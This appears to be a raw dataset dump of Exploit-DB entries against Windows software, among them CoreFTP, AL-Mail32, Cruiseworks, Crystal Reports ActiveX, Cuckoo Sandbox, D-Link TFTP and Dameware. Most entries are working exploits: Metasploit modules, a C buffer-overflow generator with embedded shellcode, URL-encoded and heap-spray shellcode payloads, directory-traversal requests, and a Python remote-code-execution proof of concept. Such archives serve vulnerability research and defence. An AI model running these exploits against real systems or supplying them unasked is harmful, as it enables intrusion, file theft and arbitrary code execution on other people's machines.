deardaniel/secdata-raw huggingface dataset:
Exploit-DB #48194
Description: CoreFTP 2.0 Build 674 SIZE - Directory Traversal (Metasploit)
Type: remote
Platform: windows
Date: 2020-03-11
Author: Kevin Randall

Exploit:
class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Ftp
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report
  def proto
     'ftp'
  end
  def initialize
    super(
      'Name' => 'CVE-2019-9648 CoreFTP FTP Server Version 674 and below SIZE Directory Traversal',
      'Description' => %q{An issue was discovered in the SFTP Server component in Core FTP 2.0 Build 674. A directory traversal vulnerability exists using the SIZE command along with a \..\..\ substring, allowing an attacker to enumerate file existence based on the returned information},
      'Author' => [ 'Kevin Randall' ],
      'License' => MSF_LICENSE,
      'References' =>
        [
           [ 'CVE', '2019-9648' ],
           [ 'BID', '107446' ],
           [ 'URL', 'https://www.coreftp.com/forums/viewtopic.php?f=15&t=4022509' ]
        ],
       'Disclosure Date:' =>  'March 13 2019'
    )
    register_options([
      Opt::RPORT(21),
      OptString.new('FILENAME', [true, "Name of file to search on remote server", 'nslookup.exe'] ),
      OptString.new('PATHTRAVERSAL', [true, "Traversal path Note: Default Drive used is C: ", "\\..\\..\\..\\..\\"] ),
      OptString.new('PATHTOFILE', [ true, 'local filepath to the specified file. Please add double slashes for escaping', 'Windows\\System32\\'] )
    ])
  end
    def run_host(ip)
     print_status("Logging into FTP server now with supplied credentials")
     c = connect_login
     return if not c
     print_status("Performing exploitation of the SIZE command to enumerate files")
     path = datastore['PATHTRAVERSAL'] + datastore['PATHTOFILE'] + "\\" + datastore['FILENAME']
     res = send_cmd( ['SIZE', "C: ", path ], true, nsock = self.sock)
     data = res.to_s
     print_status("Performing analysis.... Please wait")
     if (data.include? "213" )
             print_good ("And the circle hits the square!")
             print_good ("File Exists. Here is the filesize:"+ data[4..-1])
       return res
     else
             print_error("Mission Failed We'll get them next time!")
             print_error ("Something went wrong or the file does not exist. Please check your variables PATHTRAVERSAL and PATHTOFILE (please escape double backslash) or verify file extension as it may be incorrect")
       return res
     end
   end
 end
Exploit-DB #50652
Description: CoreFTP Server build 725 - Directory Traversal (Authenticated)
Type: remote
Platform: windows
Date: 2022-01-10
Author: LiamInfosec

Exploit:
# Exploit Title: CoreFTP Server build 725 - Directory Traversal (Authenticated)
# Date: 08/01/2022
# Exploit Author: LiamInfosec
# Vendor Homepage: http://coreftp.com/
# Version: build 725 and below
# Tested on: Windows 10
# CVE : CVE-2022-22836

# Description:

CoreFTP Server before 727 allows directory traversal (for file creation) by an authenticated attacker via ../ in an HTTP PUT request.

# Proof of Concept:

curl -k -X PUT -H "Host: <IP>" --basic -u <username>:<password> --data-binary "PoC." --path-as-is https://<IP>/../../../../../../whoops
Exploit-DB #19450
Description: CREAR ALMail32 1.10 - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 1999-08-08
Author: UNYUN

Exploit:
// source: https://www.securityfocus.com/bid/574/info

The ALMail32 POP3 client conatins unchecked buffers in the header parsing code. An abnormally long FROM: or TO: field in the header of an incoming email will overwrite the buffer and allow arbitrary code to be executed. 

/*=============================================================================
   AL-Mail32 Version 1.10 Exploit for Windows98
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN (shadowpenguin@backsection.net)
  =============================================================================
*/

#include    <stdio.h>
#include    <string.h>

#define HEADER1 \
"From hehehe@hohoho.com Sat Jul 32 25:01 JST 1999\n"\
"Message-ID: <001_The_ShadowPenguinSecurity_@rockhopper>\n"

#define HEADER2 \
"Content-Transfer-Encoding: 7bit\n"\
"X-Mailer: PenguinMailer Ver1.01\n"\
"Content-Type: text/plain; charset=US-ASCII\n"\
"Content-Length: 6\n"\
"\n"\
"hehe\n"

#define RETADR          260
#define JMPADR          256
#define JMPOFS          6
#define JMP_EBX_ADR     0xbff7a06b
#define CMDLENP         0x43
#define BUFEND          5000

#define FUNC            "msvcrt.dll.system.exit."

#define JMPS            0xeb
#define NOP             0x90

unsigned char exploit_code[200]={
 0xEB,0x4D,0x5B,0x53,0x32,0xE4,0x83,0xC3,0x0B,0x4B,0x88,0x23,0xB8,0x50,0x77,0xF7,
 0xBF,0xFF,0xD0,0x8B,0xD0,0x52,0x43,0x53,0x52,0x32,0xE4,0x83,0xC3,0x06,0x88,0x23,
 0xB8,0x27,0x6E,0xF7,0xBF,0x40,0xFF,0xD0,0x8B,0xF0,0x5A,0x43,0x53,0x52,0x32,0xE4,
 0x83,0xC3,0x04,0x88,0x23,0xB8,0x27,0x6E,0xF7,0xBF,0x40,0xFF,0xD0,0x8B,0xF8,0x43,
 0x53,0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,0xD6,0x33,0xC0,0x50,0xFF,0xD7,0xE8,
 0xAE,0xFF,0xFF,0xFF,0x00
};

main(int argc,char *argv[])
{
    FILE        *fp;
    static char buf[10000];
    int         i,r,ip;

    if (argc!=3){
        printf("usage : %s MailSpoolDirectry WindowsCommand\n",argv[0]);
        exit(1);
    }
    
    if ((fp=fopen(argv[1],"wb"))==NULL){
        printf("Permittion denied :-P\n");
        exit(1);
    }   
    fwrite(HEADER1,1,strlen(HEADER1),fp);

    memset(buf,NOP,BUFEND);
    strcat(exploit_code,FUNC);
    strcat(exploit_code,argv[2]);
    exploit_code[CMDLENP]=strlen(argv[2]);
    strncpy(buf+RETADR+4,exploit_code,strlen(exploit_code));

    ip=JMP_EBX_ADR;
    buf[JMPADR]  =0xeb;
    buf[JMPADR+1]=0x06;
    buf[RETADR+3]=0xff&(ip>>24);
    buf[RETADR+2]=0xff&(ip>>16);
    buf[RETADR+1]=0xff&(ip>>8);
    buf[RETADR]  =ip&0xff;
    buf[BUFEND]  =0;

    fprintf(fp,"Reply-To: \"%s\" <hehehe@hohoho.com>\n",buf);
    fprintf(fp,"From: \"%s\" <hehehe@hohoho.com>\n",buf);

    fwrite(HEADER2,1,strlen(HEADER2),fp);
    fclose(fp);
}
Exploit-DB #23632
Description: Crob FTP Server 3.5.1 - Remote Information Disclosure
Type: remote
Platform: windows
Date: 2004-02-02
Author: Zero X

Exploit:
source: https://www.securityfocus.com/bid/9546/info

A vulnerability has been reported in the Crob FTP server, which occurs due to a lack of validation of input from the user. By issuing a specially crafted request, a malevolent user may be able to gain access to files outside of the ftp root directory.


You can read all directories on the system with the following command:

dir ../../../../../*
Exploit-DB #28850
Description: Cruiseworks 1.09 - 'Cws.exe' Doc Buffer Overflow
Type: remote
Platform: windows
Date: 2006-10-24
Author: Tan Chew Keong

Exploit:
source: https://www.securityfocus.com/bid/20699/info

Cruiseworks is prone to a remote buffer-overflow vulnerability. 

Specifically, the application fails to validate input passed to the 'doc' parameter of the '/scripts/cruise/cms.exe' application. 

Cruiseworks 1.09c and 1.09d are reported vulnerable; other versions may be affected as well.

http://www.example.com/Scripts/cruise/cws.exe?doc=%90%EB%5E%60%8B%5C%24%28%8B%73%3C%8B%74%33%78%03%F3%8B%7E
%20%03%FB%8B%4E%18%56%33%D2%8B%37%03%74%24%2C%33%DB%33%C0%AC%85%C0%74%09%C1%CB%0C%D1%CB%03%D8%EB%F0%3B%5C
%24%28%74%0B%83%C7%04%42%E2%DC%5E%33%C0%EB%1A%5E%8B%7E%24%03%7C%24%28%66%8B%04%57%8B%7E%1C%03%7C%24%28%8B
%04%87%01%44%24%28%61%C3%8B%EC%33%C9%B1%C8%2B%E1%B1%30%64%8B%01%8B%40%0C%8B%70%1C%AD%8B%78%08%57%68%33%CA
%8A%5B%E8%80%FF%FF%FF%58%58%33%C9%66%B9%90%01%2B%E1%54%51%FF%D0%8B%F4%03%F0%C7%06%41%41%41%41%C7%46%04%42
%42%42%42%C7%46%08%42%42%42%42%33%DB%89%5E%0C%33%C9%B1%14%B8%01%01%01%01%01%46%08%51%57%BB%A5%17%FF%7C%33
%C0%B0%FF%C1%E0%10%33%D8%53%E8%33%FF%FF%FF%58%58%33%DB%59%8B%D4%51%53%53%6A%02%53%53%53%52%FF%D0%59%E2%CD
%57%68%8E%4E%0E%EC%E8%13%FF%FF%FF%58%58%BB%AA%AA%6C%6C%C1%EB%10%53%68%33%32%2E%64%68%75%73%65%72%54%FF%D0
%8B%F0%56%68%57%A0%B5%BB%E8%EE%FE%FF%FF%58%58%6A%FF%FF%D0%57%68%B0%49%2D%DB%E8%DD%FE%FF%FF%58%58%33%DB%66
%BB%E8%03%53%FF%D0%EB%D7%57%68%7E%D8%E2%73%E8%C5%FE%FF%FF%58%58%FF%D0%41%41%41%41%41%41%41%41%41%41%41%41
%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41
%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41
%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41
%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41
%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41
%41%41%41%41%41%41%41%41%41%41%41%63%15%f8%77%41%7C%3E%90%7C
Exploit-DB #28849
Description: Cruiseworks 1.09 - 'Cws.exe' Doc Directory Traversal
Type: remote
Platform: windows
Date: 2006-10-24
Author: Tan Chew Keong

Exploit:
source: https://www.securityfocus.com/bid/20698/info

Cruiseworks is prone to a directory-traversal vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid attackers in further attacks.

Cruiseworks 1.09c and 1.09d are reported vulnerable; other versions may be affected as well.

http://www.example.com/Scripts/cruise/cws.exe?doc=../data/system.wdb

Note: the above URI requires a login to the application.
Exploit-DB #27820
Description: Cryptomathic - ActiveX Control Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2006-05-05
Author: Dennis Rand

Exploit:
source: https://www.securityfocus.com/bid/17852/info

Cryptomathic ActiveX control is prone to a buffer-overflow vulnerability. The software fails to perform sufficient bounds-checking of user-supplied input before copying it to an insufficiently sized memory buffer.

Invoking the object from a malicious website or HTML email may trigger the condition. If the vulnerability were successfully exploited, this would corrupt process memory, resulting in arbitrary code execution. Arbitrary code would be executed in the context of the client application.

<html> <head> <title>CIRT.DK - Cryptomathic ActiveX Buffer Overflow</title> <IMG SRC="http://www.cirt.dk/images/logo.jpg"> </head> <body> <center> <h1>TDC Digital Signature ActiveX Buffer Overflow</h1> <h4> (c)2006 by Dennis Rand - CIRT.DK</h4> The following Proof-of-Concept will make Internet Explorer shutdown, if you are vulnerable.<br> </center> <br> <script>alert('Press "OK" to see if you are vulnerable')</script> <object classid='clsid:6DA9275C-64E5-42A1-879C-D90B5F0DC5B4' id='target' ></object> <script language='vbscript'> arg1 = String(8, "A") arg1 = arg1 + "ABCD" ' EIP is overwritten here arg1 = arg1 + String(64, "B") arg1 = arg1 + "AABB"	 ' Pointer to the next SEH Handler arg1 = arg1 + "BBAA" ' SE Handler arg1 = arg1 + String(700, "C") arg2 = "DefaultV" target.createPKCS10 arg1 ,arg2 </script> <script>alert('You are secure')</script> </body> </html>
Exploit-DB #15733
Description: Crystal Reports Viewer 12.0.0.549 - 'PrintControl.dll' ActiveX
Type: remote
Platform: windows
Date: 2010-12-14
Author: Dr_IDE

Exploit:
<!--
Crystal Reports Viewer 12.0.0.549 Activex Exploit (PrintControl.dll) 0-day
By = Dr_IDE
File = "C:\Program Files\BusinessObjects\Common\4.0\crystalreportviewers12\ActiveXControls\PrintControl.dll"
method = "ServerResourceVersion"
progid = "CrystalPrintControlLib.CrystalPrintControl"
Site = http://www.sap.com
Tested On = Windows XPSP3 VM with IE 7.0.5730.13
Notes = In my testing it was not 100% reliable.
-->


<html>
<object id='target' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
<script>
//payload is windows/exec cmd=calc.exe
shellcode = unescape(
'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');

nops=unescape('%u9090%u9090');
headersize = 20;
slackspace= headersize + shellcode.length;

while(nops.length < slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);
while( block.length+ slackspace<0x40000) block= block+ block+fillblock;
memory=new Array();
for( counter=0; counter<300; counter++) memory[counter]= block +shellcode;
ret='';
for( counter=0; counter<=2000; counter++)
ret+=unescape('%u0A0A%u0A0A');

target.ServerResourceVersion = ret;
</script>
</html>
Exploit-DB #40043
Description: Cuckoo Sandbox Guest 2.0.1 - XMLRPC Privileged Remote Code Execution
Type: remote
Platform: windows
Date: 2016-06-29
Author: Rémi ROCHER

Exploit:
# -*- coding: utf8 -*-
"""
# Exploit Title: Cuckoo Sandbox Guest XMLRPC Privileged RCE PoC
# Date: June 28th 2016
# Exploit Author: Rémi ROCHER
# Vendor Homepage: https://cuckoosandbox.org/
# Software Link: https://github.com/cuckoosandbox/cuckoo/archive/master.zip
# Version: <= 2.0.1
# Tested on: MS Windows 7, MS Windows 10 (With & without UAC)
# CVE : None

--[ NAME

Cuckoo Sandbox Guest XMLRPC Privileged RCE PoC

--[ DESCRIPTION

Cuckoo Sandbox is Free Software, basically used by researchers to analyze
(potential) malware behavior. It is also implemented industrially by
private companies for detecting potential threats within IT Networks
featuring dedicated so-called security appliances.

This basic Proof of Concept exploit is spawning  a calc.exe process with
Administrator privileges, assuming:
    * The Cuckoo agent.py is running with Admin privileges (should be
the case)
    * The current user can access a local interface (should be the case)
    * Optional for true Remote Code Execution: External equipment can
    access the XMLRPC port (default 8000).

One may also call the complete() method in order to stop any further
detection
or screenshot.

Such vulnerabilities can be used to either trick the very detection
system, or
potentially escape the sandbox machine itself. An attacker could also
exploit
such bugs as a pivot in order to attack sensitive systems.

--[ AUTHORS

* Rémi ROCHER - Armature Technologies
* Thomas MARTHÉLY- Armature Technologies

--[ RESOURCE
* Repository: https://github.com/cuckoosandbox/cuckoo


"""
import xmlrpclib
from StringIO import StringIO
from zipfile import ZipFile, ZipInfo, ZIP_STORED, ZIP_DEFLATED


def execute(x, cmd="cmd /c start"):
    output = StringIO()
    file = ZipFile(output, "w", ZIP_STORED)
    info = ZipInfo("analyzer.py")
    info.compress_type = ZIP_DEFLATED

    content = ("""
import subprocess

if __name__ == "__main__":
  subprocess.Popen("%s",stdout=subprocess.PIPE,stderr=subprocess.PIPE)

""" % cmd)
    file.writestr(info, content)
    file.close()

    data = xmlrpclib.Binary(output.getvalue())

    if x.add_analyzer(data):
        return x.execute()


if __name__ == "__main__":
    x = xmlrpclib.ServerProxy("http://localhost:8000")
    execute(x, "calc.exe")
    # x.complete() #  Blackout mode
Exploit-DB #35897
Description: CygniCon CyViewer - ActiveX Control 'SaveData()' Insecure Method
Type: remote
Platform: windows
Date: 2011-06-28
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/48483/info

CygniCon CyViewer ActiveX control is prone to a vulnerability caused by an insecure method.

Successfully exploiting this issue will allow attackers to create or overwrite files within the context of the affected application (typically Internet Explorer) that uses the ActiveX control. Attackers may execute arbitrary code with user-level privileges. 

<html>
<object classid='clsid:A6FC2988-16BE-4053-BE89-F562431FD6ED' id='target' /></object>
<input language=VBScript onclick=Boom() type=button value="Exploit">
<script language = 'vbscript'>

Sub Boom()
arg1="FilePath\Filename_to_create"
arg2="Data"
target.SaveData arg1 ,arg2
End Sub

</script>
</html>
Exploit-DB #16345
Description: D-Link TFTP 1.0 - 'Filename' Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: dlink_long_filename.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Udp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'D-Link TFTP 1.0 Long Filename Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in D-Link TFTP 1.0.
				By sending a request for an overly long file name, an attacker
				could overflow a buffer and execute arbitrary code. For best results,
				use bind payloads with nonx (No NX).
			},
			'Author'         =>
				[
					'LSO <lso[@]hushmail.com>', # Exploit module
					'patrick', # Refs, stability, targets etc
				],
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2007-1435' ],
					[ 'OSVDB', '33977' ],
					[ 'BID', '22923' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => "\x00",
					'Compat'   =>
					{
						'ConnectionType' => '-reverse',
					},
				},
			'SaveRegisters'  => [ 'ecx', 'eax', 'esi' ],
			'Platform'       => 'win',

			'Targets'        =>
				[
					# Patrick tested OK 20090228
					['Windows 2000 SP4 English', { 'Ret' => 0x77e1ccf7 } ], # jmp ebx
					['Windows 2000 SP3 English', { 'Ret' => 0x77f8361b } ], # jmp ebx
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Mar 12 2007',
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(69)
			], self)
	end

	def exploit
		connect_udp

		print_status("Trying target #{target.name}...")

		juju = "\x00\x01"
		juju << Rex::Text.rand_text_alpha_upper(581)
		juju << Rex::Arch::X86.jmp_short(42)
		juju << Rex::Text.rand_text_alpha_upper(38)
		juju << [target.ret].pack('V') + payload.encoded

		udp_sock.put(juju)

		handler
		disconnect_udp
	end

end
Exploit-DB #42703
Description: Dameware Mini Remote Control 4.0 - Username Stack Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2017-09-13
Author: James Fitts

Exploit:
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Dameware Mini Remote Control Username Stack Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack based buffer overflow vulnerability found
				in Dameware Mini Remote Control v4.0. The overflow is caused when sending
				an overly long username to the DWRCS executable listening on port 6129.
				The username is read into a strcpy() function causing an overwrite of
				the return pointer leading to arbitrary code execution.
			},
			'Author'         => [ 'James Fitts' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: $',
			'References'     =>
				[
					[ 'CVE', '2005-2842' ],
					[ 'BID', '14707' ],
					[ 'URL', 'http://secunia.com/advisories/16655' ],
					[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2005-08/1074.html' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'	=> 140,
					'BadChars' => "\x00\x0a\x0d",
					'StackAdjustment' => -3500,
					'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
					'Compat'        =>
						{
							'SymbolLookup' => '+ws2ord',
						},
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 
						'Windows XP SP3 EN', 
							{ 
								# msvcrt.dll
								# push esp/ retn
								'Ret' => 0x77c35459, 
							} 
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Sept 01 2005'))

		register_options(
			[
				Opt::RPORT(6129),
			], self.class )
	end

	def pkt1
		p = payload.encoded

		boom = "\x43" * 259
		boom[100, 4] = [target.ret].pack('V')
		boom[108, p.length] = p

		packet = "\x00" * 4056
		packet[0, 4] = "\x30\x11\x00\x00"
		packet[4, 4] = "\x00\x00\x00\x00"
		packet[8, 4] = "\xd7\xa3\x70\x3d"
		packet[12, 4] = "\x0a\xd7\x0d\x40"
		packet[16, 20] = "\x00" * 20
		packet[36, 4] = "\x01\x00\x00\x00"

		packet[40, 4] = [0x00002710].pack('V')
		packet[196, 259] = rand_text_alpha(259)
		packet[456, 259] = boom
		packet[716, 259] = rand_text_alpha(259)
		packet[976, 259] = rand_text_alpha(259)
		packet[1236, 259] = rand_text_alpha(259)
		packet[1496, 259] = rand_text_alpha(259)

		return packet
	end

	def pkt2
		packet = "\x00" * 4096
		packet[756, 259] = rand_text_alpha(259)

		return packet
		
	end

	def exploit
		connect

		sock.put(pkt1)
		sock.recv(1024)
		sock.put(pkt2)
		sock.recv(84)

		handler
		disconnect
	end

end
__END__